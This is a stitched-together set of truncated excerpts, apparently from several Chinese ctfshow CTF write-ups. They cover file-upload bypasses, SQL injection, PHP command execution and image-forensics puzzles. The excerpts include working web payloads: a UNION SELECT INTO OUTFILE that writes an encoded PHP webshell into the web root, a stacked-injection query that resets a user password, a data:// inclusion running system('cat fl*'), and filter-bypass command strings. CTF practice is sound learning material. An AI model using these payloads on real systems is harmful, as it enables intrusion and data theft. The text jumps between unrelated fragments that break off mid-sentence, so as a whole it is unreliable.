web151(前端校验) 题目中提示前端检验不可靠,应该对前端检验进行绕过 检查前端代码进行修改,使php文件可以通过前端校验,成功上传后进行命令执行,找到flag web152(content-type) 通过前端校验后上传php文件显示文件类型不合规 尝试抓包修改content-type,根据数据包回显得知上传成功。
指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}"; //返回逻辑 //用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 ...
使用foremost分离 发现里面有两张图片 其中一张就是flag。 misc9 直接使用HxD打开 看到flag misc10 使用binwalk -e第一10E5打开就是flag。 misc11 根据提示 在另一个图片 这里一个新的知识点 需要使用一个新工具:Tweakpng 把第二个IDAT数据删除 从新打开图片 发现 有flag(就很神奇!) misc12 这里又学了一个新...
99’ union select ‘1’,from_base64(“%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b”) into outfile '/var/www/html/1.php 数据库账号密码在./api/config.php 看到root root 使用antsword的数据库操作,拿到flag web176 -1...
用户名处填写 payload: 0;update`ctfshow_user`set`pass`=0x3130303836 ,没有用到空格。 登录得到 flag。web196有过滤的数字型注入,给出的过滤正则表达式变得不可信,明明有 select 但还是可以用的。 利用堆叠注入绕过密码。 payload: 1;select(1) 密码1...
然后密文base64->AES得到flag 在线AES加密 | AES解密 - 在线工具 (sojson.com) ctfshow{W0w_th3_st0ry_s0_w0nderfu1!} 麻辣兔头又一锅 代码语言:javascript 复制 题目描述: 听说有人不喜欢短尾巴的兔兔?肿么可能?我也很疑惑呢。 代码语言:javascript ...
Web181 直接使用上题的Payload即可。 Web182 比之前多过滤了一个flag关键字: Payload同上。 Web183 题目如下: 就是查询表的密码数,对输入有过滤,传入tableName=ctfshow_user后如下: payload设置如下: 返回如下,这是已经匹配到了flag了: 基于此可以进行盲注: import requests url = "http://7d52b14b-b2f7...
直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1# 复制代码 1 2 3 ?name=admin&pass=%1$'or1=1--+ 找到此页面的cookie 转为16进制解码得到 flag.txt 尝试将Cookie中的file赋值为/flag,即 将/flag换成16进制
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。?c=data://text/plain,<?php system("cat fl*");?> 看源代码,因为flag.php注释注释了flag,所以看不见,需要查看源代码也可以使用tac来读取,破坏php的注释规则,就可以直接在页面上看见flag...
这里过滤了flag这个字符串 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 解法一:利用通配符$ payload:?c=system('cat fla*'); 只是刚刚输入完这个之后,由于是空白页面,以为错误了 解法一,变式:修改文件名 解法二:利用``执行命令 payload:?c=system('catls'); ...